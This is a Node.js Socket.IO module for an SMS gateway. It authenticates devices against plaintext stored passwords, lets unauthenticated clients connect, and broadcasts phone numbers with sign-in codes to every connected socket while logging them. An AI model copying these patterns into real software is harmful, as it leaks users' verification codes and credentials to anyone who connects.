74 lines
2.4 KiB
JavaScript
74 lines
2.4 KiB
JavaScript
const db = require('./db');
|
|
|
|
module.exports = function (io) {
|
|
// Middleware for authentication
|
|
io.use((socket, next) => {
|
|
const login = socket.handshake.auth.login;
|
|
const password = socket.handshake.auth.password;
|
|
|
|
if (!login || !password) {
|
|
// Allow normal web clients to connect without auth if needed,
|
|
// but we won't put them in the 'devices' room.
|
|
return next();
|
|
}
|
|
|
|
db.get(`SELECT * FROM devices WHERE login = ? AND password = ?`, [login, password], (err, row) => {
|
|
if (err) {
|
|
return next(new Error('Database error'));
|
|
}
|
|
if (!row) {
|
|
return next(new Error('Authentication error'));
|
|
}
|
|
|
|
// Attach device info to socket
|
|
socket.device = row;
|
|
next();
|
|
});
|
|
});
|
|
|
|
io.on('connection', (socket) => {
|
|
console.log('A user connected:', socket.id);
|
|
|
|
if (socket.device) {
|
|
console.log(`Device authenticated: ${socket.device.login}`);
|
|
socket.join('devices');
|
|
}
|
|
|
|
// Handle SMS status updates from the app
|
|
socket.on('sms_status', (data) => {
|
|
console.log('Received sms_status:', data);
|
|
const { id, status } = data; // status should be 'sent' or 'failed'
|
|
|
|
if (id && status) {
|
|
db.run(`UPDATE sms_queue SET status = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`, [status, id], (err) => {
|
|
if (err) {
|
|
console.error('Error updating SMS status:', err);
|
|
} else {
|
|
console.log(`Updated SMS ID ${id} to status: ${status}`);
|
|
}
|
|
});
|
|
}
|
|
});
|
|
|
|
// Existing events
|
|
socket.on('sendSignInData', (data) => {
|
|
console.log('sendSignInData:', data);
|
|
io.emit('sendSmsCode', { phone: data.phone, code: data.code });
|
|
});
|
|
|
|
socket.on('sendDatas', (data) => {
|
|
console.log('sendDatas:', data);
|
|
io.emit('sendData', { phone: data.phone, code: data.code });
|
|
});
|
|
|
|
socket.on('disconnect', () => {
|
|
console.log('User disconnected:', socket.id);
|
|
});
|
|
|
|
socket.on('error', (err) => {
|
|
console.error('Socket error:', err);
|
|
});
|
|
});
|
|
};
|
|
|
|
|